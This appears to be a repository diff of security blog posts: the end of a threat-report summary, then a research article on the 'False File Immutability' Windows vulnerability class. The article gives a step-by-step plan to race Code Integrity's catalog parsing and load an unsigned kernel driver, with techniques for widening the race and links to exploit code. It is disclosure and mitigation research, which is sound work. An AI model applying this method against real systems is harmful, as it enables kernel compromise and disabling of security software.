- Increased reliance on credential theft to enable business email and cloud-resource compromise, places where endpoint visibility is not generally available
|
||||
|
||||
### Defense Evasion
|
||||
|
||||
During the development of our inaugural Global Threat Report last year, we were surprised to see how often adversaries used a defense evasion capability regardless of the industry or region they targeted. After analyzing events from thousands of different environments all over the world, we better understood that defense evasion was a reaction to the state of security. It was a trend we saw again this year, just one of several forces shaping the threat landscape today.
|
||||
|
||||
More than 43% of the techniques and procedures we observed this year were forms of defense evasion, with [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218/) representing almost half of those events. These utilities are present on all operating systems and facilitate code execution– some common examples include software that interprets scripts, launches DLLs, and executes web content.
|
||||
|
||||

|
||||
|
||||
[BLISTER](https://www.elastic.co/security-labs/revisiting-blister-new-developments-of-the-blister-loader), which is a malware loader associated with financially-motivated intrusions, relied on the *rundll32.exe* proxy built into every version of Microsoft Windows to launch their backdoor this year. The BLISTER loader is a useful example because its authors invested a great deal of energy encrypting and obfuscating their malicious code inside a benign application. They fraudulently signed their “franken-payload” to ensure human and machine mitigations didn’t interfere.
|
||||
|
||||
### Endpoint tampering
|
||||
|
||||
This year we also saw the popularity of Bring Your Own Vulnerable Driver (BYOVD), which was [described](https://www.elastic.co/security-labs/forget-vulnerable-drivers-admin-is-all-you-need) by [Gabe Landau](https://twitter.com/GabrielLandau) in a recent publication and provides a way to load an exploitable driver on Windows systems. Drivers run with system-level privileges but what’s more interesting is how vulnerable drivers can be used to disable or [tamper with security tools](https://thehackernews.com/2023/04/ransomware-hackers-using-aukill-tool-to.html). It won’t be long before more adversaries pivot from using this capability to launch malware and instead use it to uninstall security sensors.
|
||||
|
||||
To see this in action, look no further than your friendly neighborhood ransomware-as-a-service ecosystem. SOCGHOLISH, the group associated with BLISTER coincidentally, is one of multitudes that grew out of startup digs and became a criminal enterprise. Most of the ransomware we see is related to these kinds of services– and even as one gets disrupted it seems another is always emerging to take its place.
|
||||
|
||||

|
||||
|
||||
This is, in a very literal sense, a human phenomenon. Threats that endure periods of security innovation and disruption seem to do so by learning not to be caught, and one strategy of mature threats is to move edge-ward to Internet-facing systems, network devices, appliances, or cloud platforms where visibility is less mature. Consider the cost and relative risk of the following options: develop a feature-rich multiplatform implant with purposeful capabilities or purchase account credentials from a broker.
|
||||
|
||||
### Credential Access
|
||||
|
||||
Although only about 7% of the data we analyzed involved one form of credential theft or another, 80% of those leveraged built-in operating system features. With functioning stolen credentials, many threat groups can directly interact with an enterprise’s critical data to access email, steal intellectual property, or deploy cloud resources.
|
||||
|
||||

|
||||
|
||||
Abusing stolen credentials has more utility today than ever before, given the widespread adoption of cloud for storage, productivity, code management, and authentication to third party services. For those threats that prioritize a low profile over other goals, credential theft is a shortcut with low exposure.
|
||||
|
||||
Insights like these, and many others, can be found in the 2023 Global Threat Report along with forecasts and threat profiles. Elastic Security Labs shares [malware research](https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor), [tools](https://www.elastic.co/security-labs/unpacking-icedid), [intelligence analyses](https://www.elastic.co/security-labs/inital-research-of-jokerspy), as well as [detection science](https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks) and [machine learning/artificial intelligence](https://www.elastic.co/security-labs/accelerating-elastic-detection-tradecraft-with-llms) research.
|
||||
|
||||
You can [download the report](https://www.elastic.co/explore/security-without-limits/2023-global-threat-report) or check out our [other assets](http://elastic.co/gtr). Reach out to us on [X](https://twitter.com/elasticseclabs) and get a deeper dive on the GTR results with our webinar [Prepare for tomorrow: Insights from the 2023 Elastic Global Threat Report](https://www.elastic.co/virtual-events/insights-from-the-2023-elastic-global-threat-report).
|
|
@ -0,0 +1,427 @@
|
|||
---
|
||||
title: "Introducing a New Vulnerability Class: False File Immutability"
|
||||
slug: "false-file-immutability"
|
||||
date: "2024-07-11"
|
||||
description: "This article introduces a previously-unnamed class of Windows vulnerability that demonstrates the dangers of assumption and describes some unintended security consequences."
|
||||
author:
|
||||
- slug: gabriel-landau
|
||||
image: "Security Labs Images 36.jpg"
|
||||
category:
|
||||
- slug: security-research
|
||||
- slug: vulnerability-updates
|
||||
---
|
||||
|
||||
# Introduction
|
||||
|
||||
This article will discuss a previously-unnamed vulnerability class in Windows, showing how long-standing incorrect assumptions in the design of core Windows features can result in both undefined behavior and security vulnerabilities. We will demonstrate how one such vulnerability in the Windows 11 kernel can be exploited to achieve arbitrary code execution with kernel privileges.
|
||||
|
||||
|
||||
# Windows file sharing
|
||||
|
||||
When an application opens a file on Windows, it typically uses some form of the Win32 [**CreateFile**](https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew) API.
|
||||
|
||||
``` c++
|
||||
HANDLE CreateFileW(
|
||||
[in] LPCWSTR lpFileName,
|
||||
[in] DWORD dwDesiredAccess,
|
||||
[in] DWORD dwShareMode,
|
||||
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
|
||||
[in] DWORD dwCreationDisposition,
|
||||
[in] DWORD dwFlagsAndAttributes,
|
||||
[in, optional] HANDLE hTemplateFile
|
||||
);
|
||||
```
|
||||
|
||||
Callers of **CreateFile** specify the access they want in **dwDesiredAccess**. For example, a caller would pass **FILE_READ_DATA** to be able to read data, or **FILE_WRITE_DATA** to be able to write data. The full set of access rights are [documented](https://learn.microsoft.com/en-us/windows/win32/fileio/file-access-rights-constants) on the Microsoft Learn website.
|
||||
|
||||
In addition to passing **dwDesiredAccess**, callers must pass a “sharing mode” in **dwShareMode**, which consists of zero or more of **FILE_SHARE_READ**, **FILE_SHARE_WRITE**, and **FILE_SHARE_DELETE**. You can think of a sharing mode as the caller declaring “I’m okay with others doing X to this file while I’m using it,” where X could be reading, writing, or renaming. For example, a caller that passes **FILE_SHARE_WRITE** allows others to write the file while they are working with it.
|
||||
|
||||
As a file is opened, the caller’s **dwDesiredAccess** is tested against the **dwShareMode** of all existing file handles. Simultaneously, the caller’s **dwShareMode** is tested against the previously-granted **dwDesiredAccess** of all existing handles to that file. If either of these tests fail, then **CreateFile** fails with a sharing violation.
|
||||
|
||||
Sharing isn’t mandatory. Callers can pass a share mode of zero to obtain exclusive access. Per Microsoft [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/creating-and-opening-files):
|
||||
|
||||
> An open file that is not shared (dwShareMode set to zero) cannot be opened again, either by the application that opened it or by another application, until its handle has been closed. This is also referred to as exclusive access.
|
||||
|
||||
|
||||
## Sharing enforcement
|
||||
|
||||
In the kernel, sharing is enforced by filesystem drivers. As a file is opened, it’s the responsibility of the filesystem driver to call [**IoCheckShareAccess**](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iocheckshareaccess) or [**IoCheckLinkShareAccess**](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iochecklinkshareaccess) to see whether the requested **DesiredAccess**/**ShareMode** tuple is compatible with any existing handles to the file being opened. [NTFS](https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview) is the primary filesystem on Windows, but it’s closed-source, so for illustrative purposes we’ll instead look at Microsoft’s FastFAT sample code performing [the same check](https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L6822-L6884). Unlike an IDA decompilation, it even comes with comments!
|
||||
|
||||
``` c++
|
||||
//
|
||||
// Check if the Fcb has the proper share access.
|
||||
//
|
||||
|
||||
return IoCheckShareAccess( *DesiredAccess,
|
||||
ShareAccess,
|
||||
FileObject,
|
||||
&FcbOrDcb->ShareAccess,
|
||||
FALSE );
|
||||
```
|
||||
|
||||
In addition to traditional read/write file operations, Windows lets applications map files into memory. Before we go deeper, it’s important to understand that [section objects](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views) are kernel parlance for [file mappings](https://learn.microsoft.com/en-us/windows/win32/memory/file-mapping); they are the same thing. This article focuses on the kernel, so it will primarily refer to them as section objects.
|
||||
|
||||
There are two types of section objects - data sections and executable image sections. Data sections are direct 1:1 mappings of files into memory. The file’s contents will appear in memory exactly as they do on disk. Data sections also have uniform memory permissions for the entire memory range. With respect to the underlying file, data sections can be either read-only or read-write. A read-write view of a file enables a process to read or write the file’s contents by reading/writing memory within its own address space.
|
||||
|
||||
Executable image sections (sometimes abbreviated to image sections) prepare [PE files](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format) to be executed. Image sections must be created from PE files. Examples of PE files include EXE, DLL, SYS, CPL, SCR, and OCX files. The kernel processes the PEs specially to prepare them to be executed. Different PE regions will be mapped in memory with different page permissions, depending on their metadata. Image views are [copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write), meaning any changes in memory will be saved to the process’s private working set — never written to the backing PE.
|
||||
|
||||
Let’s say application A wants to map a file into memory with a data section. First, it opens that file with an API such as **ZwCreateFile**, which returns a file handle. Next, it passes this file handle to an API such as **ZwCreateSection** which creates a section object that describes how the file will be mapped into memory; this yields a section handle. The process then uses the section handle to map a “view” of that section into the process address space, completing the memory mapping.
|
||||
|
||||

|
||||
|
||||
Once the file is successfully mapped, process A can close both the file and section handles, leaving zero open handles to the file. If process B later wants to use the file without the risk of it being modified externally, it would omit **FILE_SHARE_WRITE** when opening the file. **IoCheckLinkShareAccess** looks for open file handles, but since the handles were previously closed, it will not fail the operation.
|
||||
|
||||
This creates a problem for file sharing. Process B thinks it has a file open without risk of external modification, but process A can modify it through the memory mapping. To account for this, the filesystem must also call [**MmDoesFileHaveUserWritableReferences**](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-mmdoesfilehaveuserwritablereferences). This checks whether there are any active writable file mappings to the given file. We can see this check in the FastFAT example [here](https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L6858-L6870):
|
||||
|
||||
``` c++
|
||||
//
|
||||
// Do an extra test for writeable user sections if the user did not allow
|
||||
// write sharing - this is neccessary since a section may exist with no handles
|
||||
// open to the file its based against.
|
||||
//
|
||||
|
||||
if ((NodeType( FcbOrDcb ) == FAT_NTC_FCB) &&
|
||||
!FlagOn( ShareAccess, FILE_SHARE_WRITE ) &&
|
||||
FlagOn( *DesiredAccess, FILE_EXECUTE | FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | DELETE | MAXIMUM_ALLOWED ) &&
|
||||
MmDoesFileHaveUserWritableReferences( &FcbOrDcb->NonPaged->SectionObjectPointers )) {
|
||||
|
||||
return STATUS_SHARING_VIOLATION;
|
||||
}
|
||||
```
|
||||
|
||||
Windows requires PE files to be immutable (unmodifiable) while they are running. This prevents EXEs and DLLs from being changed on disk while they are running in memory. Filesystem drivers must use the [**MmFlushImageSection**](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-mmflushimagesection) function to check whether there are any active image mappings of a PE before allowing **FILE_WRITE_DATA** access. We can see this in the [FastFAT example code](https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593), and on [Microsoft Learn](https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/executable-images).
|
||||
|
||||
``` c++
|
||||
//
|
||||
// If the user wants write access access to the file make sure there
|
||||
// is not a process mapping this file as an image. Any attempt to
|
||||
// delete the file will be stopped in fileinfo.c
|
||||
//
|
||||
// If the user wants to delete on close, we must check at this
|
||||
// point though.
|
||||
//
|
||||
|
||||
if (FlagOn(*DesiredAccess, FILE_WRITE_DATA) || DeleteOnClose) {
|
||||
|
||||
Fcb->OpenCount += 1;
|
||||
DecrementFcbOpenCount = TRUE;
|
||||
|
||||
if (!MmFlushImageSection( &Fcb->NonPaged->SectionObjectPointers,
|
||||
MmFlushForWrite )) {
|
||||
|
||||
Iosb.Status = DeleteOnClose ? STATUS_CANNOT_DELETE :
|
||||
STATUS_SHARING_VIOLATION;
|
||||
try_return( Iosb );
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Another way to think of this check is that **ZwMapViewOfSection(SEC_IMAGE)** implies no-write-sharing as long as the view exists.
|
||||
|
||||
|
||||
# Authenticode
|
||||
|
||||
The [Windows Authenticode Specification](https://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/authenticode_pe.docx) describes a way to employ cryptography to “sign” PE files. A “digital signature” cryptographically attests that the PE was produced by a particular entity. Digital signatures are tamper-evident, meaning that any material modification of signed files should be detectable because the digital signature will no longer match. Digital signatures are typically appended to the end of PE files.
|
||||
|
||||

|
||||
|
||||
Authenticode can’t apply traditional hashing (e.g. **sha256sum**) in this case, because the act of appending the signature would change the file’s hash, breaking the signature it just generated. Instead, the Authenticode specification describes an algorithm to skip specific portions of the PE file that will be changed during the signing process. This algorithm is called **authentihash**. You can use authentihash with any hashing algorithm, such as SHA256. When a PE file is digitally signed, the file’s authentihash is what’s actually signed.
|
||||
|
||||
|
||||
## Code integrity
|
||||
|
||||
Windows has a few different ways to validate Authenticode signatures. User mode applications can call [**WinVerifyTrust**](https://learn.microsoft.com/en-us/windows/win32/api/wintrust/nf-wintrust-winverifytrust) to validate a file’s signature in user mode. The Code Integrity (CI) subsystem, residing in ```ci.dll```, validates signatures in the kernel. If [Hypervisor-Protected Code Integrity](https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard) is running, the Secure Kernel employs ```skci.dll``` to validate Authenticode. This article will focus on Code Integrity (```ci.dll```) in the regular kernel.
|
||||
|
||||
Code Integrity provides both Kernel Mode Code Integrity and User Mode Code Integrity, each serving a different set of functions.
|
||||
|
||||
Kernel Mode Code Integrity (KMCI):
|
||||
- Enforces [Driver Signing Enforcement](https://learn.microsoft.com/en-us/windows-hardware/drivers/install/driver-signing) and the [Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/microsoft-recommended-driver-block-rules#microsoft-vulnerable-driver-blocklist)
|
||||
|
||||
User Mode Code Integrity (UMCI):
|
||||
- CI validates the signatures of EXEs and DLLs before allowing them to load
|
||||
- Enforces [Protected Processes and Protected Process Light](https://learn.microsoft.com/en-us/windows/security/threat-protection/overview-of-threat-mitigations-in-windows-10#protected-processes) signature requirements
|
||||
- Enforces **ProcessSignaturePolicy** mitigation ([**SetProcessMitigationPolicy**](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setprocessmitigationpolicy))
|
||||
- Enforces [INTEGRITYCHECK](https://learn.microsoft.com/en-us/cpp/build/reference/integritycheck-require-signature-check?view=msvc-170) for [FIPS 140-2 modules](https://x.com/GabrielLandau/status/1668353640833114131).
|
||||
- Exposed to consumers as [Smart App Control](https://learn.microsoft.com/en-us/windows/apps/develop/smart-app-control/overview)
|
||||
- Exposed to businesses as [App Control for Business](https://learn.microsoft.com/en-us/mem/intune/protect/endpoint-security-app-control-policy) (formerly WDAC)
|
||||
|
||||
KMCI and UMCI implement different policies for different scenarios. For example, the policy for Protected Processes is different from that of INTEGRITYCHECK.
|
||||
|
||||
|
||||
# Incorrect assumptions
|
||||
|
||||
Microsoft [documentation](https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea) implies that files successfully opened without write sharing can’t be modified by another user or process.
|
||||
|
||||
```
|
||||
FILE_SHARE_WRITE
|
||||
0x00000002
|
||||
Enables subsequent open operations on a file or device to request write access. Otherwise, other processes cannot open the file or device if they request write access.
|
||||
```
|
||||
|
||||
If this flag is not specified, but the file or device has been opened for write access or has a file mapping with write access, the function fails.
|
||||
|
||||
*Above, we discussed how sharing is enforced by the filesystem, but what if the filesystem doesn’t know that the file’s been modified?*
|
||||
|
||||
Like most user mode memory, the Memory Manager (MM) in the kernel may page-out portions of file mappings when it deems necessary, such as when the system needs more free physical memory. Both data and executable image mappings may be paged-out. Executable image sections can never modify the backing file, so they’re effectively treated as read-only with respect to the backing PE file. As mentioned before, image sections are copy-on-write, meaning any in-memory changes immediately create a private copy of the given page.
|
||||
|
||||
When the memory manager needs to page-out a page from an image section, it can use the following decision tree:
|
||||
- Never modified? Discard it. We can read the contents back from the immutable file on disk.
|
||||
- Modified? Save private copy it to the pagefile.
|
||||
- Example: If a security product hooks a function in ```ntdll.dll```, MM will create a private copy of each modified page. Upon page-out, private pages will be written to the pagefile.
|
||||
|
||||
If those paged-out pages are later touched, the CPU will issue a page fault and the MM will restore the pages.
|
||||
- Page never modified? Read the original contents back from the immutable file on disk.
|
||||
- Page private? Read it from the pagefile.
|
||||
|
||||
Note the following exception: The memory manager may treat PE-relocated pages as unmodified, dynamically reapplying relocations during page faults.
|
||||
|
||||
|
||||
## Page hashes
|
||||
|
||||
Page hashes are a list of hashes of each 4KB page within a PE file. Since pages are 4KB, page faults typically occur on 4KB of data at a time. Full Authenticode verification requires the entire contiguous PE file, which isn’t available during a page fault. Page hashes allow the MM to validate hashes of individual pages during page faults.
|
||||
|
||||
There are two types of page hashes, which we’ve coined static and dynamic. Static page hashes are stored within a PE’s digital signature if the developer passes ```/ph``` to [```signtool```](https://learn.microsoft.com/en-us/windows/win32/seccrypto/signtool). By pre-computing these, they are immediately available to the MM and CI upon module load.
|
||||
|
||||
CI can also compute them on-the-fly during signature validation, a mechanism we’re calling dynamic page hashes. Dynamic page hashes give CI flexibility to enforce page hashes even for files that were never signed with them.
|
||||
|
||||
Page hashes are not free - they use CPU and slow down page faults. They’re not used in most cases.
|
||||
|
||||
|
||||
# Attacking code integrity
|
||||
|
||||
Imagine a scenario where a ransomware operator wants to ransom a hospital, so they send a phishing email to a hospital employee. The employee opens the email attachment and enables macros, running the ransomware. The ransomware employs a UAC bypass to immediately elevate to admin, then attempts to terminate any security software on the system so it can operate unhindered. Anti-Malware services run as [Protected Process Light](https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-) (PPL), protecting them from tampering by malware with admin rights, so the ransomware can’t terminate the Anti-Malware service.
|
||||
|
||||
If the ransomware could also run as a PPL, it could terminate the Anti-Malware product. The ransomware can’t launch itself directly as a PPL because UMCI prevents improperly-signed EXEs and DLLs from loading into PPL, as we discussed above. The ransomware might try to inject code into a PPL by modifying an EXE or DLL that’s already running, but the aforementioned **MmFlushImageSection** ensures in-use PE files remain immutable, so this isn’t possible.
|
||||
|
||||
We previously discussed how the filesystem is responsible for sharing checks. *What would happen if an attacker were to move the filesystem to another machine?*
|
||||
|
||||
[Network redirectors](https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/what-is-a-network-redirector-) allow the use of network paths with any API that accepts file paths. This is very convenient, allowing users and applications to easily open and memory-map files over the network. Any resulting I/O is transparently redirected to the remote machine. If a program is launched from a network drive, the executable images for the EXE and its DLLs will be transparently pulled from the network.
|
||||
|
||||
When a network redirector is in use, the server on the other end of the pipe needn’t be a Windows machine. It could be a Linux machine running [Samba](https://en.wikipedia.org/wiki/Samba_(software)), or even a python [impacket script](https://github.com/fortra/impacket/blob/d71f4662eaf12c006c2ea7f5ec09b418d9495806/examples/smbserver.py) that “speaks” the [SMB network protocol](https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview). This means the server doesn’t have to honor Windows filesystem sharing semantics.
|
||||
|
||||
An attacker can employ a network redirector to modify a PPL’s DLL server-side, bypassing sharing restrictions. This means that PEs backing an executable image section are incorrectly assumed to be immutable. This is a class of vulnerability that we are calling **False File Immutability** (FFI).
|
||||
|
||||
|
||||
## Paging exploitation
|
||||
|
||||
If an attacker successfully exploits False File Immutability to inject code into an in-use PE, wouldn’t page hashes catch such an attack? The answer is: sometimes. If we look at the following table, we can see that page hashes are enforced for kernel drivers and Protected Processes, but not for PPL, so let’s pretend we’re an attacker targeting PPL.
|
||||
|
||||
| | Authenticode | Page hashes |
|
||||
| ----- | ----- | ----- |
|
||||
| Kernel drivers | ✅ | ✅ |
|
||||
| Protected Processes (PP-Full) | ✅ | ✅ |
|
||||
| Protected Process Light (PPL) | ✅ | ❌ |
|
||||
|
||||
Last year at Black Hat Asia 2023 ([abstract](https://www.blackhat.com/asia-23/briefings/schedule/#ppldump-is-dead-long-live-ppldump-31052), [slides](http://i.blackhat.com/Asia-23/AS-23-Landau-PPLdump-Is-Dead-Long-Live-PPLdump.pdf), [recording](https://www.youtube.com/watch?v=5xteW8Tm410)), we disclosed a vulnerability in the Windows kernel, showing how bad assumptions in paging can be exploited to inject code into PPL, defeating security features like [LSA](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) & [Anti-Malware Process Protection](https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-). The attack leveraged False File Immutability assumptions for DLLs in PPLs, as we just described, though we hadn’t yet named the vulnerability class.
|
||||
|
||||

|
||||
|
||||
Alongside the presentation, we released the [PPLFault exploit](https://github.com/gabriellandau/PPLFault) which demonstrates the vulnerability by dumping the memory of an otherwise-protected PPL. We also released the GodFault exploit chain, which combines the PPLFault Admin-to-PPL exploit with the AngryOrchard PPL-to-kernel exploit to achieve full read/write control of physical memory from user mode. We did this to motivate Microsoft to take action on a vulnerability that MSRC [declined to fix](https://www.elastic.co/security-labs/forget-vulnerable-drivers-admin-is-all-you-need) because it did not meet their [servicing criteria](https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria). Thankfully, the Windows Defender team at Microsoft stepped up, [releasing a fix](https://x.com/GabrielLandau/status/1757818200127946922) in February 2024 that enforces dynamic page hashes for executable images loaded over network redirectors, breaking PPLFault.
|
||||
|
||||
|
||||
# New research
|
||||
|
||||
Above, we discussed Authenticode signatures embedded within PE files. In addition to embedded signatures, Windows supports a form of detached signature called a [security catalog](https://learn.microsoft.com/en-us/windows-hardware/drivers/install/catalog-files). Security catalogs (.cat files) are essentially a list of signed authentihashes. Every PE with an authentihash in that list is considered to be signed by that signer. Windows keeps a large collection of catalog files in ```C:\Windows\System32\CatRoot``` which CI loads, validates, and caches.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
A typical Windows system has over a thousand catalog files, many containing dozens or hundreds of authentihashes.
|
||||
|
||||

|
||||
|
||||
To use a security catalog, Code Integrity must first load it. This occurs in a few discrete steps. First, CI maps the file into kernel memory using **ZwOpenFile**, **ZwCreateSection**, and **ZwMapViewOfSection**. Once mapped, it validates the catalog’s digital signature using **CI!MinCrypK_VerifySignedDataKModeEx**. If the signature is valid, it parses the hashes with **CI!I_MapFileHashes**.
|
||||
|
||||

|
||||
|
||||
Breaking this down, we see a few key insights. First, **ZwCreateSection(SEC_COMMIT)** tells us that CI is creating a data section, not an image section. This is important because there is no concept of page hashes for data sections.
|
||||
|
||||
Next, the file is opened without **FILE_SHARE_WRITE**, meaning write sharing is denied. This is intended to prevent modification of the security catalog during processing. However, as we have shown above, this is a bad assumption and another example of False File Immutability. It should be possible, in theory, to perform a PPLFault-style attack on security catalog processing.
|
||||
|
||||
|
||||
## Planning the attack
|
||||
|
||||

|
||||
|
||||
The general flow of the attack is as follows:
|
||||
1. The attacker will plant a security catalog on a storage device that they control. They will install a symbolic link to this catalog in the ```CatRoot``` directory, so Windows knows where to find it.
|
||||
2. The attacker asks the kernel to load a malicious unsigned kernel driver.
|
||||
3. Code Integrity attempts to validate the driver, but it can’t find a signature or trusted authentihash, so it re-scans the CatRoot directory and finds the attacker’s new catalog.
|
||||
4. CI maps the catalog into kernel memory and validates its signature. This generates page faults which are sent to the attacker’s storage device. The storage device returns a legitimate Microsoft-signed catalog.
|
||||
5. The attacker empties the system working set, forcing all the previously-fetched catalog pages to be discarded.
|
||||
6. CI begins parsing the catalog, generating new page faults. This time, the storage device injects the authentihash of their malicious driver.
|
||||
7. CI finds the malicious driver’s authentihash in the catalog and loads the driver. At this point, the attacker has achieved arbitrary code execution in the kernel.
|
||||
|
||||
|
||||
## Implementation and considerations
|
||||
|
||||
The plan is to use a PPLFault-style attack, but there are some important differences in this situation. PPLFault used an [opportunistic lock](https://learn.microsoft.com/en-us/windows/win32/fileio/opportunistic-locks) (oplock) to deterministically freeze the victim process’s initialization. This gave the attacker time to switch over to the payload and flush the system working set. Unfortunately, we couldn’t find any good opportunities for oplocks here. Instead, we’re going to pursue a probabilistic approach: rapidly toggling the security catalog between the malicious and benign versions.
|
||||
|
||||

|
||||
|
||||
The verification step touches every page of the catalog, which means all of those pages will be resident in memory when parsing begins. If the attacker changes the catalog on their storage device, it won’t be reflected in memory until after a subsequent page fault. To evict these pages from kernel memory, the attacker must empty the working set between **MinCrypK_VerifySignedDataKModeEx** and **I_MapFileHashes**.
|
||||
|
||||
This approach is inherently a race condition. There’s no built-in delays between signature verification and catalog parsing - it’s a tight race. We’ll need to employ several techniques to widen our window of opportunity.
|
||||
|
||||
Most security catalogs on the system are small, a few kilobytes. By choosing a large 4MB catalog, we can greatly increase the amount of time that CI spends parsing. Assuming catalog parsing is linear, we can choose an authentihash near the end of the catalog to maximize the time between signature verification and when CI reaches our tampered page. Further, we will create threads for each CPU on the system whose sole purpose is to consume CPU cycles. These threads run at higher priority than CI, so CI will be starved of CPU time. There will be one thread dedicated to repeatedly flushing pages from the system’s working set, and one thread repeatedly attempting to load the unsigned driver.
|
||||
|
||||
This attack has two main failure modes. First, if the payload Authentihash is read during the signature check, then the signature will be invalid and the catalog will be rejected.
|
||||
|
||||

|
||||
|
||||
Next, if an even number of toggles occur (including zero) between signature validation and parsing, then CI will parse the benign hash and reject our driver.
|
||||
|
||||

|
||||
|
||||
The attacker wins if CI validates a benign catalog then parses a malicious one.
|
||||
|
||||

|
||||
|
||||
|
||||
## Exploit demo
|
||||
|
||||
We named the exploit **ItsNotASecurityBoundary** as an homage to MSRC's [policy](https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria) that "Administrator-to-kernel is not a security boundary.” The code is in GitHub [here](https://github.com/gabriellandau/ItsNotASecurityBoundary).
|
||||
|
||||
Demo video [here](https://drive.google.com/file/d/13Uw38ZrNeYwfoIuD76qlLgyXP8kRc8Nz/view?usp=sharing).
|
||||
|
||||
|
||||
# Understanding these vulnerabilities
|
||||
|
||||
In order to properly defend against these vulnerabilities, we first need to understand them better.
|
||||
|
||||
A double-read (aka double-fetch) vulnerability can occur when victim code reads the same value out of an attacker-controlled buffer more than once. The attacker may change the value of this buffer between the reads, resulting in unexpected victim behavior.
|
||||
|
||||
Imagine there is a page of memory shared between two processes for an IPC mechanism. The client and server send data back and forth using the following struct. To send an IPC request, a client first writes a request struct into the shared memory page, then signals an event to notify the server of a pending request.
|
||||
|
||||
``` c
|
||||
struct IPC_PACKET
|
||||
{
|
||||
SIZE_T length;
|
||||
UCHAR data[];
|
||||
};
|
||||
```
|
||||
|
||||
A double-read attack could look something like this:
|
||||
|
||||

|
||||
|
||||
First, the attacking client sets a packet’s structure’s length field to 16 bytes, then signals the server to indicate that a packet is ready for processing. The victim server wakes up and allocates a 16-byte buffer using ```malloc(pPacket->length)```. Immediately afterwards, the attacker changes the length field to 32. Next, the victim server attempts to copy the packet’s contents into the the new buffer by calling ```memcpy(pBuffer, pPacket->data, pPacket->length)```, re-reading the value in ```pPacket->length```, which is now 32. The victim ends up copying 32 bytes into a 16-byte buffer, overflowing it.
|
||||
|
||||
Double-read vulnerabilities frequently apply to shared-memory scenarios. They commonly occur in drivers that operate on user-writable buffers. Due to False File Immutability, developers need to be aware that their scope is actually much wider, and includes all files writable by attackers. Denying write sharing does not necessarily prevent file modification.
|
||||
|
||||
|
||||
## Affected Operations
|
||||
|
||||
What types of operations are affected by False File Immutability?
|
||||
|
||||
| Operation | API | Mitigations |
|
||||
| ----- | ----- | ----- |
|
||||
| Image Sections | **CreateProcess** **LoadLibrary** | 1. Enable Page Hashes |
|
||||
| Data Sections | **MapViewOfFile** **ZwMapViewOfSection** | 1. Avoid double reads\ 2. Copy the file to a heap buffer before processing\ 3. Prevent paging via MmProbeAndLockPages/VirtualLock |
|
||||
| Regular I/O | **ReadFile** **ZwReadFile** | 1. Avoid double reads\ 2. Copy the file to a heap buffer before processing |
|
||||
|
||||
|
||||
## What else could be vulnerable?
|
||||
|
||||
Looking for potentially-vulnerable calls to **ZwMapViewOfSection** in the NT kernel yields quite a few interesting functions:
|
||||
|
||||

|
||||
|
||||
If we expand our search to regular file I/O, we find even more candidates. An important caveat, however, is that **ZwReadFile** may be used for more than just files. Only uses on files (or those which could be coerced into operating on files) could be vulnerable.
|
||||
|
||||

|
||||
|
||||
Looking outside of the NT kernel, we can find other drivers to investigate:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
## Don’t forget about user mode
|
||||
|
||||
We’ve mostly been discussing the kernel up to this point, but it’s important to note that any user mode application that calls **ReadFile**, **MapViewOfFile**, or **LoadLibrary** on an attacker-controllable file, denying write sharing for immutability, may be vulnerable. Here’s a few hypothetical examples.
|
||||
|
||||
|
||||
### MapViewOfFile
|
||||
|
||||
Imagine an application that is split into two components - a low-privileged worker process with network access, and a privileged service that installs updates. The worker downloads updates and stages them to a specific folder. When the privileged service sees a new update staged, it first validates the signature before installing the update. An attacker could abuse FFI to modify the update after the signature check.
|
||||
|
||||
|
||||
### ReadFile
|
||||
|
||||
Since files are subject to double-read vulnerabilities, anything that parses complex file formats may be vulnerable, including antivirus engines and search indexers.
|
||||
|
||||
|
||||
### LoadLibrary
|
||||
|
||||
Some applications rely on UMCI to prevent attackers from loading malicious DLLs into their processes. As we’ve shown with PPLFault, FFI can defeat UMCI.
|
||||
|
||||
|
||||
# Stopping the exploit
|
||||
|
||||
Per their official servicing guidelines, MSRC won’t service Admin -> Kernel vulnerabilities by default. In this parlance, servicing means “fix via security update.” This type of vulnerability, however, allows malware to bypass [AV Process Protections](https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-), leaving AV and EDR vulnerable to instant-kill attacks.
|
||||
|
